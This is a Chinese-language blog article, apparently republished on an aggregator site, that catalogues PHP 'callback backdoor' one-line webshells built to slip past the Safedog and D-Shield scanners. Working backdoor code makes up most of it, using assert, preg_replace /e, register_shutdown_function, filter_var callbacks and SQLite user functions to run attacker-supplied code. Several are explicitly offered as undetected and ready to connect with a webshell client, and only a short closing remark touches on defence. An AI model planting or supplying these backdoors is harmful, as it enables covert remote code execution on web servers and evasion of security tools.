PHP回调后门可绕过安全狗

最近很多人分享一些过狗过盾的一句话,但无非是用各种方法去构造一些动态函数,比如$_GET['func']($_REQUEST['pass'])之类的方法。万变不离其宗,但这种方法,虽然狗盾可能看不出来,但人肉眼其实很容易发现这类后门的。

    那么,我就分享一下,一些不需要动态函数、不用eval、不含敏感函数、免杀免拦截的一句话。

0x00 前言

    有很多朋友喜欢收藏一些tips,包括我也收藏了好多tips,有时候在渗透和漏洞挖掘过程中很有用处。

    一句话的tips相信很多朋友也收集过好多,过狗一句话之类的。14年11月好像在微博上也火过一个一句话,当时也记印象笔记里了:

    

    有同学收集tips,就有同学创造tips。那么我们怎么来创造一些过狗、过D盾、无动态函数、无危险函数(无特征)的一句话(后门)?

    根据上面这个pdo的一句话,我就可以得到一个很具有普适性的结论:php中包含回调函数参数的函数,具有做后门的潜质。

    我就自己给这类webshell起了个名字:回调后门。

0x01 回调后门的老祖宗

    php中call_user_func是执行回调函数的标准方法,这也是一个比较老的后门了:

call_user_func('assert', $_REQUEST['pass']);

    assert直接作为回调函数,然后$_REQUEST['pass']作为assert的参数调用。

    这个后门,狗和盾都可以查到(但是狗不会拦截):

    

    可php的函数库是很丰富的,只要简单改下函数安全狗就不杀了:

call_user_func_array('assert', array($_REQUEST['pass']));

    call_user_func_array函数,和call_user_func类似,只是第二个参数可以传入参数列表组成的数组。如图:

    

    可见,虽然狗不杀了,D盾还是聪明地识别了出来。

    看来,这种传统的回调后门,已经被一些安全厂商盯上了,存在被查杀的风险。

0x02 数组操作造成的单参数回调后门

    进一步思考,在平时的php开发中,遇到过的带有回调参数的函数绝不止上面说的两个。这些含有回调(callable类型)参数的函数,其实都有做“回调后门”的潜力。

    我最早想到个最“简单好用的”:

$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));

    array_filter函数是将数组中所有元素遍历并用指定函数处理过滤用的,如此调用(此后的测试环境都是开着狗的,可见都可以执行):

    

    这个后门,狗查不出来,但D盾还是有感应,报了个等级3(显然比之前的等级4要低了):

    

    类似array_filter,array_map也有同样功效:

$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map(base64_decode($e), $arr);

    依旧被D盾查杀。

    果然,简单的数组回调后门,还是很容易被发现与查杀的。

0x03 php5.4.8+中的assert

    php 5.4.8+后的版本,assert函数由一个参数,增加了一个可选参数descrition:

    

    这就增加(改变)了一个很好的“执行代码”的方法assert,这个函数可以有一个参数,也可以有两个参数。那么以前回调后门中有两个参数的回调函数,现在就可以使用了。

    比如如下回调后门:

$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));

    这个后门在php5.3时会报错,提示assert只能有一个参数:

    

    php版本改作5.4后就可以执行了:

    

    这个后门,狗和盾是都查不出来的:

    

    同样的道理,这个也是功能类似:

$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
uksort($arr, $e);

    再给出这两个函数,面向对象的方法:

// way 0
$arr = new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');

// way 1
$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
$arr->uksort('assert');

    再来两个类似的回调后门:

$e = $_REQUEST['e'];
$arr = array(1);
array_reduce($arr, $e, $_POST['pass']);
$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);

    以上几个都是可以直接菜刀连接的一句话,但目标PHP版本在5.4.8及以上才可用。

    我把上面几个类型归为:二参数回调函数(也就是回调函数的格式是需要两个参数的)

0x04 三参数回调函数

    有些函数需要的回调函数类型比较苛刻,回调格式需要三个参数。比如array_walk。

    array_walk的第二个参数是callable类型,正常情况下它是格式是两个参数的,但在0x03中说了,两个参数的回调后门需要使用php5.4.8后的assert,在5.3就不好用了。但这个回调其实也可以接受三个参数,那就好办了:

    

    php中,可以执行代码的函数:

  1. 一个参数:assert
  2. 两个参数:assert (php5.4.8+)
  3. 三个参数:preg_replace /e模式

    三个参数可以用preg_replace。所以我这里构造了一个array_walk + preg_replace的回调后门:

$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');

    如图,这个后门可以在5.3下使用:

    

    但强大的D盾还是有警觉(虽然只是等级2):

    

    不过呵呵,PHP拥有那么多灵活的函数,稍微改个函数(array_walk_recursive)D盾就查不出来了:

$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk_recursive($arr, $e, '');

    不截图了。

    看了以上几个回调后门,发现preg_replace确实好用。但显然很多WAF和顿顿狗狗的早就盯上这个函数了。其实php里不止这个函数可以执行eval的功能,还有几个类似的:

mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');

    另一个:

echo preg_filter('|.*|e', $_REQUEST['pass'], '');

    这两个一句话都是不杀的:

    

    

    好用的一句话,且用且珍惜呀。

0x05 无回显回调后门

    回调后门里,有个特殊的例子:ob_start。

    ob_start可以传入一个参数,也就是当缓冲流输出时调用的函数。但由于某些特殊原因(可能与输出流有关),即使有执行结果也不在流里,最后也输出不了,所以这样的一句话没法用菜刀连接:

ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();

    但如果执行一个url请求,用神器cloudeye还是能够观测到结果的:

    

    

    即使没输出,实际代码是执行了的。也算作回调后门的一种。

0x06 单参数后门终极奥义

    preg_replace、三参数后门虽然好用,但/e模式php5.5以后就废弃了,不知道哪天就会给删了。所以我觉得还是单参数后门,在各个版本都比较好驾驭。

    这里给出几个好用不杀的回调后门

$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);

    这个是php全版本支持的,且不报不杀稳定执行:

    

    

    再来一个:

$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['pass']);

    再来两个:

filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));

    这两个是filter_var的利用,php里用这个函数来过滤数组,只要指定过滤方法为回调(FILTER_CALLBACK),且option为assert即可。

    这几个单参数回调后门非常隐蔽,基本没特征,用起来很6.

0x07 数据库操作与第三方库中的回调后门

    回到最早微博上发出来的那个sqlite回调后门,其实sqlite可以构造的回调后门不止上述一个。

    我们可以注册一个sqlite函数,使之与assert功能相同。当执行这个sql语句的时候,就等于执行了assert。所以这个后门我这样构造:

$e = $_REQUEST['e'];
$db = new PDO('sqlite:sqlite.db3');
$db->sqliteCreateFunction('myfunc', $e, 1);
$sth = $db->prepare("SELECT myfunc(:exec)");
$sth->execute(array(':exec' => $_REQUEST['pass']));

    执行之:

    

    上面的sqlite方法是依靠PDO执行的,我们也可以直接调用sqlite3的方法构造回调后门:

$e = $_REQUEST['e'];
$db = new SQLite3('sqlite.db3');
$db->createFunction('myfunc', $e);
$stmt = $db->prepare("SELECT myfunc(?)");
$stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);
$stmt->execute();

    前提是php5.3以上。如果是php5.3以下的,使用sqlite_*函数,自己研究我不列出了。

    这两个回调后门,都是依靠php扩展库(pdo和sqlite3)来实现的。其实如果目标环境中有特定扩展库的情况下,也可以来构造回调后门。

    比如php_yaml:

$str = urlencode($_REQUEST['pass']);
$yaml = <<<EOD
greeting: !{$str} "|.+|e"
EOD;
$parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}" => 'preg_replace'));

    还有php_memcached:

$mem = new Memcache();
$re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);'));
$mem->connect($_REQUEST['pass'], 11211, 0);

    自行研究吧。

0x08 其他参数型回调后门

    上面说了,回调函数格式为1、2、3参数的时候,可以利用assert、assert、preg_replace来执行代码。但如果回调函数的格式是其他参数数目,或者参数类型不是简单字符串,怎么办?

    举个例子,php5.5以后建议用preg_replace_callback代替preg_replace的/e模式来处理正则执行替换,那么其实preg_replace_callback也是可以构造回调后门的。

    preg_replace_callback的第二个参数是回调函数,但这个回调函数被传入的参数是一个数组,如果直接将这个指定为assert,就会执行不了,因为assert接受的参数是字符串。

    所以我们需要去“构造”一个满足条件的回调函数。

    怎么构造?使用create_function:

preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);

    “创造”一个函数,它接受一个数组,并将数组的第一个元素$arr[0]传入assert。

    这也是一个不杀不报稳定执行的回调后门,但因为有create_function这个敏感函数,所以看起来总是不太爽。不过也是没办法的事。

    类似的,这个也同样:

mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);

    再来一个利用CallbackFilterIterator方法的回调后门:

$iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)), create_function('$a', 'assert($a);'));
foreach ($iterator as $item) {
    echo $item;
}

    这里也是借用了create_function来创建回调函数。但有些同学就问了,这里创建的回调函数只有一个参数呀?实际上这里如果传入assert,是会报错的,具体原因自己分析。

0x09 后记

    这一篇文章,就像一枚核武器,爆出了太多无特征的一句话后门。我知道相关厂商在看了文章以后,会有一些小动作。不过我既然敢写出来,那么我就敢保证这些方法是多么难以防御。

    实际上,回调后门是灵活且无穷无尽的后门,只要php还在发展,那么就有很多很多拥有回调函数的后门被创造。想要防御这样的后门,光光去指哪防哪肯定是不够的。

    简单想一下,只有我们去控制住assert、preg_replace这类函数,才有可能防住这种漏洞

 

 

以上是小编为您精心准备的的内容,在的博客、问答、公众号、人物、课程等栏目也有的相关内容,欢迎继续使用右上角搜索按钮进行搜索数组
, 函数
, 参数
, array
, 类型
格式
绕过安全狗、2016绕过安全狗注入、sqlmap绕过安全狗注入、如何绕过安全狗、绕过安全狗注入,以便于您获取更多的相关知识。

时间: 2024-09-20 16:54:23

PHP回调后门可绕过安全狗的相关文章

通过DNS传输后门来绕过杀软

前言 在本篇文章里,我想解释怎么样不使用加密数据的方法也能绕过杀软,同时我也想在github上分享源代码.https://github.com/DamonMohammadbagher/NativePayload_DNS 我想使用DNS协议来传输我的后门载荷,从攻击者的机器到客户端机器.这种情况下,我们的后门代码就不需要是硬编码的或者加密的了. 因此被杀软检测出来的风险就很低了. 为什么是DNS协议? 因为在大多数的网络里DNS流量都是有效的,IPS/IDS或者硬件防火墙都不会监控和过滤DNS流量

PHP常见后门木马程序整理

 利用404页面隐藏PHP小马  代码如下 复制代码 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not fou

怎么突破安全狗和360网站卫士的

前几天朋友让我帮他检测下他的网站安全性,网站发来一看.哇靠,又是安全狗,又是360网站卫士,这可怎好. 首先是找到一个可以填写意见反馈的地方,XSS搞到后台管理COOKIE,这里不截图了.后台有个FCK,不过360网站卫士不给传PHP文件.肾是变态;要想搞下此站,先排除法,首先要突破360网站卫士,发现360卫士只要是PHP文件都拦截,一个正常的图片改成PHP也不给传.这下,蛋又疼了--. 经过几次测试终于传上去了(方法比较简单,大家自己多测试,这里一旦公布,我想明天就不能用了),传上去PHP文

那些强悍的PHP一句话后门

我们以一个学习的心态来对待这些PHP后门程序,很多PHP后门代码让我们看到程序员们是多么的用心良苦. 强悍的PHP一句话后门 这类后门让网站.服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的.今天我们细数一些有意思的PHP一句话木马. 利用404页面隐藏PHP小马: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">  <html><head>

关于360网马扫描和安全狗网马扫描比较测评

&http://www.aliyun.com/zixun/aggregation/37954.html">nbsp;   很 多网站用户经常发现网站被植入后门程序,导致网站被黑客非法控制.非法利用,甚至整台服务器权限被控制.出现这种情况,通过人工来排查,需要一定的技术能力和工作量.因此需要 一款强有力的扫描工具来帮助站长解决这个安全问题.     目前,可以找到的扫描工具挺多,那我们又 该如何选择最 合适的扫描工具呢?最近,笔者就选择了两款扫描工具进行对比,分别是360网马扫描和网

COM Object hijacking后门的实现思路——劫持explorer.exe

本文讲的是COM Object hijacking后门的实现思路--劫持explorer.exe,在之前的文章介绍了两种利用COM对象劫持实现的后门,利用思路有一些区别: 第一种,通过CLR劫持.Net程序 正常CLR的用法: 设置注册表键值HKEY_CURRENT_USERSoftwareClassesCLSID cmd下输入: SET COR_ENABLE_PROFILING=1 SET COR_PROFILER={11111111-1111-1111-1111-111111111111}

百度官方wormHole后门检测记录(转)

本次这个安卓后门真是哔了狗了,刚加入大安卓阵营就出了这个篓子,跟你root不root和什么安卓版本没有版毛钱关系,完全是百度SDK官方提供的后门,不是漏洞,人为的. 乌云地址:http://drops.wooyun.org/papers/10061 后门端口:40310/6259  本次测试在Ubuntu下,具体adb调试工具参考 sink_cup的博客 http://www.cnblogs.com/sink_cup/archive/2011/10/31/ubuntu_x64_android_s

一些常用的php后门木马详解

php后门木马对大家来说一点都不陌生吧,但是它的种类您又知多少呢? 本文为您浅析说明一些php后门木马常用的函数. php后门木马常用的函数大致上可分为四种类型: 1. 执行系统命令: system, passthru, shell_exec, exec, popen, proc_open 2. 代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13 3.

phpmyadmin写入一句话木马的测试

方法一,一句话木马 偶尔拿到一个config中,发现是root,且还有phpmyadmin.好吧,试试 select'<?php @eval($_POST[-77]);?>'INTO OUTFILE 'E:\Web\wp-content\errors.php' 提示成功了,可是构造地址访问,提示404,看来没成功,应该是转义的问题接着尝试: select'<?php @eval($_POST[-77]);?>'INTO OUTFILE 'E:\\Web\\xxx.xx.vn\\wp